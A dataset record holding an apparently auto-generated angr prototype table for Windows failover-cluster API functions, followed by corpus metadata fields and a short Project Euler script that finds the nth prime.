SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "lpszSubKey", "samDesired", "phkResult"]), # 'ClusterRegDeleteKey': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "lpszSubKey"]), # 'ClusterRegCloseKey': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey"]), # 'ClusterRegEnumKey': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "dwIndex", "lpszName", "lpcchName", "lpftLastWriteTime"]), # 'ClusterRegSetValue': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hKey", "lpszValueName", "dwType", "lpData", "cbData"]), # 'ClusterRegDeleteValue': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hKey", "lpszValueName"]), # 'ClusterRegQueryValue': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "lpszValueName", "lpdwValueType", "lpData", "lpcbData"]), # 'ClusterRegEnumValue': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hKey", "dwIndex", "lpszValueName", "lpcchValueName", "lpdwType", "lpData", "lpcbData"]), # 'ClusterRegQueryInfoKey': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "lpcSubKeys", "lpcchMaxSubKeyLen", "lpcValues", "lpcchMaxValueNameLen", "lpcbMaxValueLen", "lpcbSecurityDescriptor", "lpftLastWriteTime"]), # 'ClusterRegGetKeySecurity': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"Revision": SimTypeChar(label="Byte"), "Sbz1": SimTypeChar(label="Byte"), "Control": SimTypeShort(signed=False, label="UInt16"), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Group": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Sacl": SimTypePointer(SimStruct({"AclRevision": SimTypeChar(label="Byte"), "Sbz1": SimTypeChar(label="Byte"), "AclSize": SimTypeShort(signed=False, label="UInt16"), "AceCount": SimTypeShort(signed=False, label="UInt16"), "Sbz2": SimTypeShort(signed=False, label="UInt16")}, name="ACL", pack=False, align=None), offset=0), "Dacl": SimTypePointer(SimStruct({"AclRevision": SimTypeChar(label="Byte"), "Sbz1": SimTypeChar(label="Byte"), "AclSize": SimTypeShort(signed=False, label="UInt16"), "AceCount": SimTypeShort(signed=False, label="UInt16"), "Sbz2": SimTypeShort(signed=False, label="UInt16")}, name="ACL", pack=False, align=None), offset=0)}, name="SECURITY_DESCRIPTOR", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "RequestedInformation", "pSecurityDescriptor", "lpcbSecurityDescriptor"]), # 'ClusterRegSetKeySecurity': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"Revision": SimTypeChar(label="Byte"), "Sbz1": SimTypeChar(label="Byte"), "Control": SimTypeShort(signed=False, label="UInt16"), "Owner": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Group": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "Sacl": SimTypePointer(SimStruct({"AclRevision": SimTypeChar(label="Byte"), "Sbz1": SimTypeChar(label="Byte"), "AclSize": SimTypeShort(signed=False, label="UInt16"), "AceCount": SimTypeShort(signed=False, label="UInt16"), "Sbz2": SimTypeShort(signed=False, label="UInt16")}, name="ACL", pack=False, align=None), offset=0), "Dacl": SimTypePointer(SimStruct({"AclRevision": SimTypeChar(label="Byte"), "Sbz1": SimTypeChar(label="Byte"), "AclSize": SimTypeShort(signed=False, label="UInt16"), "AceCount": SimTypeShort(signed=False, label="UInt16"), "Sbz2": SimTypeShort(signed=False, label="UInt16")}, name="ACL", pack=False, align=None), offset=0)}, name="SECURITY_DESCRIPTOR", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "SecurityInformation", "pSecurityDescriptor"]), # 'ClusterRegSyncDatabase': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hCluster", "flags"]), # 'ClusterRegCreateBatch': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimStruct({}, name="_HREGBATCH", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "pHREGBATCH"]), # 'ClusterRegBatchAddCommand': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGBATCH", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="CLUSTER_REG_COMMAND"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["hRegBatch", "dwCommand", "wzName", "dwOptions", "lpData", "cbData"]), # 'ClusterRegCloseBatch': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGBATCH", pack=False, align=None), offset=0), SimTypeInt(signed=True, label="Int32"), SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRegBatch", "bCommit", "failedCommandNumber"]), # 'ClusterRegCloseBatchEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGBATCH", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRegBatch", "flags", "failedCommandNumber"]), # 'ClusterRegBatchReadCommand': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGBATCHNOTIFICATION", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"Command": SimTypeInt(signed=False, label="CLUSTER_REG_COMMAND"), "dwOptions": SimTypeInt(signed=False, label="UInt32"), "wzName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "lpData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbData": SimTypeInt(signed=False, label="UInt32")}, name="CLUSTER_BATCH_COMMAND", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hBatchNotification", "pBatchCommand"]), # 'ClusterRegBatchCloseNotification': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGBATCHNOTIFICATION", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hBatchNotification"]), # 'ClusterRegCreateBatchNotifyPort': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimStruct({}, name="_HREGBATCHPORT", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "phBatchNotifyPort"]), # 'ClusterRegCloseBatchNotifyPort': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGBATCHPORT", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hBatchNotifyPort"]), # 'ClusterRegGetBatchNotification': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGBATCHPORT", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimStruct({}, name="_HREGBATCHNOTIFICATION", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hBatchNotify", "phBatchNotification"]), # 'ClusterRegCreateReadBatch': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypePointer(SimStruct({}, name="_HREGREADBATCH", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "phRegReadBatch"]), # 'ClusterRegReadBatchAddCommand': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGREADBATCH", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRegReadBatch", "wzSubkeyName", "wzValueName"]), # 'ClusterRegCloseReadBatch': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGREADBATCH", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimStruct({}, name="_HREGREADBATCHREPLY", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRegReadBatch", "phRegReadBatchReply"]), # 'ClusterRegCloseReadBatchEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGREADBATCH", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimStruct({}, name="_HREGREADBATCHREPLY", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRegReadBatch", "flags", "phRegReadBatchReply"]), # 'ClusterRegReadBatchReplyNextCommand': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGREADBATCHREPLY", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"Command": SimTypeInt(signed=False, label="CLUSTER_REG_COMMAND"), "dwOptions": SimTypeInt(signed=False, label="UInt32"), "wzSubkeyName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "wzValueName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "lpData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbData": SimTypeInt(signed=False, label="UInt32")}, name="CLUSTER_READ_BATCH_COMMAND", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRegReadBatchReply", "pBatchCommand"]), # 'ClusterRegCloseReadBatchReply': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HREGREADBATCHREPLY", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hRegReadBatchReply"]), # 'ClusterSetAccountAccess': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "szAccountSID", "dwAccess", "dwControlType"]), # 'CreateCluster': SimTypeFunction([SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "lpszClusterName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "cNodes": SimTypeInt(signed=False, label="UInt32"), "ppszNodeNames": SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), offset=0), "cIpEntries": SimTypeInt(signed=False, label="UInt32"), "pIpEntries": SimTypePointer(SimStruct({"lpszIpAddress": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwPrefixLength": SimTypeInt(signed=False, label="UInt32")}, name="CLUSTER_IP_ENTRY", pack=False, align=None), offset=0), "fEmptyCluster": SimTypeChar(label="Byte"), "managementPointType": SimTypeInt(signed=False, label="CLUSTER_MGMT_POINT_TYPE"), "managementPointResType": SimTypeInt(signed=False, label="CLUSTER_MGMT_POINT_RESTYPE")}, name="CREATE_CLUSTER_CONFIG", pack=False, align=None), offset=0), SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_TYPE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_SEVERITY"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["pvCallbackArg", "eSetupPhase", "ePhaseType", "ePhaseSeverity", "dwPercentComplete", "lpszObjectName", "dwStatus"]), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), arg_names=["pConfig", "pfnProgressCallback", "pvCallbackArg"]), # 'CreateClusterNameAccount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "lpszClusterName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "pszUserName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pszPassword": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pszDomain": SimTypePointer(SimTypeChar(label="Char"), offset=0), "managementPointType": SimTypeInt(signed=False, label="CLUSTER_MGMT_POINT_TYPE"), "managementPointResType": SimTypeInt(signed=False, label="CLUSTER_MGMT_POINT_RESTYPE"), "bUpgradeVCOs": SimTypeChar(label="Byte")}, name="CREATE_CLUSTER_NAME_ACCOUNT", pack=False, align=None), offset=0), SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_TYPE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_SEVERITY"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["pvCallbackArg", "eSetupPhase", "ePhaseType", "ePhaseSeverity", "dwPercentComplete", "lpszObjectName", "dwStatus"]), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "pConfig", "pfnProgressCallback", "pvCallbackArg"]), # 'RemoveClusterNameAccount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=True, label="Int32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "bDeleteComputerObjects"]), # 'DetermineCNOResTypeFromNodelist': SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), offset=0), SimTypePointer(SimTypeInt(signed=False, label="CLUSTER_MGMT_POINT_RESTYPE"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["cNodes", "ppszNodeNames", "pCNOResType"]), # 'DetermineCNOResTypeFromCluster': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="CLUSTER_MGMT_POINT_RESTYPE"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "pCNOResType"]), # 'DetermineClusterCloudTypeFromNodelist': SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeChar(label="Char"), offset=0), offset=0), SimTypePointer(SimTypeInt(signed=False, label="CLUSTER_CLOUD_TYPE"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["cNodes", "ppszNodeNames", "pCloudType"]), # 'DetermineClusterCloudTypeFromCluster': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="CLUSTER_CLOUD_TYPE"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "pCloudType"]), # 'GetNodeCloudTypeDW': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["ppszNodeName", "NodeCloudType"]), # 'RegisterClusterResourceTypeNotifyV2': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCHANGE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeLongLong(signed=True, label="Int64"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hChange", "hCluster", "Flags", "resTypeName", "dwNotifyKey"]), # 'AddClusterNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_TYPE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_SEVERITY"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["pvCallbackArg", "eSetupPhase", "ePhaseType", "ePhaseSeverity", "dwPercentComplete", "lpszObjectName", "dwStatus"]), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0)], SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszNodeName", "pfnProgressCallback", "pvCallbackArg"]), # 'AddClusterStorageNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_TYPE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_SEVERITY"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["pvCallbackArg", "eSetupPhase", "ePhaseType", "ePhaseSeverity", "dwPercentComplete", "lpszObjectName", "dwStatus"]), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszNodeName", "pfnProgressCallback", "pvCallbackArg", "lpszClusterStorageNodeDescription", "lpszClusterStorageNodeLocation"]), # 'RemoveClusterStorageNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszClusterStorageEnclosureName", "dwTimeout", "dwFlags"]), # 'DestroyCluster': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeFunction([SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_TYPE"), SimTypeInt(signed=False, label="CLUSTER_SETUP_PHASE_SEVERITY"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["pvCallbackArg", "eSetupPhase", "ePhaseType", "ePhaseSeverity", "dwPercentComplete", "lpszObjectName", "dwStatus"]), offset=0), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=True, label="Int32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "pfnProgressCallback", "pvCallbackArg", "fdeleteVirtualComputerObjects"]), } lib.set_prototypes(prototypes)
200.777542
1,697
0.727753
9,465
94,767
7.216059
0.065082
0.064773
0.106354
0.165974
0.850102
0.840146
0.831801
0.820161
0.817745
0.811493
0
0.018433
0.088617
94,767
471
1,698
201.203822
0.77236
0.000295
0
0
0
0
0.23665
0.055872
0
0
0
0
0
1
0
false
0.008368
0.020921
0
0.020921
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
ad6f31fc8b9fda7679e7a7e48d80154446654b0e
115
py
Python
problems/0007/compute.py
Dynortice/Project-Euler
99a0201b5d5f147eab77fc52d9db8995045cded0
[ "MIT" ]
null
null
null
problems/0007/compute.py
Dynortice/Project-Euler
99a0201b5d5f147eab77fc52d9db8995045cded0
[ "MIT" ]
null
null
null
problems/0007/compute.py
Dynortice/Project-Euler
99a0201b5d5f147eab77fc52d9db8995045cded0
[ "MIT" ]
null
null
null
from euler.primes import prime_numbers def compute(n: int) -> int: return list(prime_numbers(n * 20))[n - 1]
19.166667
45
0.686957
19
115
4.052632
0.736842
0.311688
0
0
0
0
0
0
0
0
0
0.031915
0.182609
115
5
46
23
0.787234
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
7